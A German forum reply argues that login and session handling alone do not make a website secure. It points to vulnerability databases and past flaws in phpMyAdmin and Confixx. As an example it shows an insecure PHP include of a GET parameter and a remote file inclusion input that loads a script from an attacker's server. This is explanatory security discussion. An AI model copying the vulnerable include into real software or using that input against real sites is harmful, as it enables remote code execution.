tomotom wrote:
Das Bewußtsein, dass es prinzipiell keine sichere Software gibt und Sicherheit auch eine Frage der Zeit ist habe ich. Ich habe nach Beispielen gefragt um mir Details ansehen zu können. Mit "Schwarzer Liste" habe ich mehr nach einer Seite gefragt die noch nicht behobenen Softwarefehler auflisten.
Es gibt verschiedene Firmen/Institutionen (Securityfocus, Secunia, CERT ...) die teilweise soetwas machen, aber die umfassende alles erfassende Datenbank wo jede mini erweiterung drinnen ist gibt es nicht. Securityfocus und google sollten nen guter Startpunkt sein.
tomotom wrote:
Das Einloggen hat ja die Funktion nur authentifizierte User zuzulassen und dadurch auch Angriffen auf dahinterliegenden Seiten abwehren zu können. Wenn die Loginseite sicher ist und Sessiontracking auf allen Seiten benutzt wird ist auch ein Einbruch schwer möglich. Das wollte ich nur bestätigt wissen. Im Grunde ist klar immer nach aktuellen bugs Ausschau halten...
Aber nicht in jedemfall wird das einloggen benötigt, das o.g. Beispiel funktioniert wunderbar ohne Einloggen, die Variable ist auch so erreichbar gewesen.
Dein Beispiel ist so ein bischen wie: Ich hab ein Auto, das ist immer fest abgeschlossen also kommt niemand rein und klaut mein Radio.
Wenn ein Fenster aber offen ist kann man trotzdem die dein Radio klauen.
Ich hoffe Du verstehst was ich sagen will: ja Sessions sind toll, einloggen ist super, aber pauschal zu sagen deswegen ist es sicher halte ich für falsch und irreführend.
Beispiel:
Du hast ein eine Webseite, die dynamischen Content nachlädt indem sie den Content für den mittleren Frame/Block per include reinholt, je nachdem was Du geklickt hast.
Schlecht programmiert steht dort
Code: Select all
include( $_GET['inhalt'] . ".php" );
Ob Du eine Session verwaltung hast oder die User sich eingeloggt haben (ich geh mal davon aus das deine Webseite erreichbar sein soll und nicht hinter einer Passwortabfrage ala .htaccess versteckt ist) ist irrelevant, nichts hindert einen angreifer daran per paramter ?inhalt=
http://bnoserserver.de/script eine script.php von seinem server nachzuladen die auf deinem rechner ausgeführt wird.
Wenn Du sowas meinst wie confixx/phpmyadmin wo man gleich zu Beginn ein Usernamen/Passwort eingeben muß, hast Du recht solange die Sessionverwaltung sauber erledigt wurde und kein Angriff daran vorbei möglich ist. Aber die Realität ist halt anderes, Software kommt von Menschen, Menschen machen Fehler. Auch
phpmyadmin und
confixx hatten diverse Lücken die sich wohl auch ausnutzen liessen ohne das man sich angemeldet haben mußte.
Eine Session oder ein Login bedeuten also nicht = sicher.
Bei 'normalen' Webseiten wo man Besucher erwartet will man eh nicht jedem ein Usernamen und PW aufdrängen, oder?